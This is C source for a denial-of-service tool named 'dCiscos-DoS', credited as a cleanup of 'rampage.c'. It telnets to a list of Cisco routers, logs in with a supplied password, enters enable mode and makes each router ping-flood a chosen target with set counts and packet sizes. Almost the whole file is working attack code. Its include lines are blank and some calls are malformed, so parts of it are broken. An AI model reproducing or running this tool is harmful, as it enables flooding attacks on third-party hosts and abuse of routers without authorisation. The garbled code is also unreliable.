/* dCiscos-DoS
Cleaner version of rampage.c
by-Okiwan
www.techfreakz.com
-Password not hardcoded
-Reduced buffer sizes(4096?)
-Won't end on invalid router
-No need for number of routers anymore
*/
#include
#include
#include
int main(int argc, char **argv[]) {
int sock[255],i=0,times=0,packet=0,size=0;
char buffer[100],buf[16],line[16];
struct sockaddr_in host;
FILE *routerlist;
FILE* fp;
if (argc < 6 ) {
fprintf(stderr,"Invalid arguments.\n");
fprintf(stderr,
"Usage: %s \n",
argv[0]); exit(0);}
fp=fopen(argv[2],"r");
while (fgets(line, 16, fp) != NULL) times++;
fclose(fp);
sscanf(argv[3],"%d",&packet);
sscanf(argv[4],"%d",&size);
//Terminal
printf("Target:%s\n",argv[1]);
printf("File:%s\n",argv[2]);
printf("Password:%s\n",argv[5]);
printf("Packet Size:%d\n",size);
printf("Repeat Count:%s\n",argv[3]);
printf("Routers:%d\n\n",times);
host.sin_family = AF_INET;
host.sin_addr.s_addr = inet_addr(argv[2]);
host.sin_port = htons(23);
bzero(&(host.sin_zero),0);
routerlist = fopen(argv[2],"r");
while (i!=times) {
fgets(buf,16,routerlist);
host.sin_addr.s_addr = inet_addr(buf);
i++;
sock[i] = socket(AF_INET,SOCK_STREAM,0);
fprintf(stdout,"Router %d:%s",i,buf);
if (connect(sock[i],(struct sockaddr *)&host, sizeof(struct sockaddr))) {
fprintf(stderr, "fail:%d\n",i);}
else {
fprintf(stdout,"success:%d\n",i);
}
// I was going to add a password checker ... oh well
sprintf(buffer, "%s\nenable\n%s\nping\n\n%s\n%d\n%d\n0\n\n\n",
argv[5],argv[5],argv[1],packet,size);
send(sock[i],buffer,strlen(buffer),0);
}
printf("Entering infinite loop mode, Ctrl-C to cancel\n");
while (1) { }
}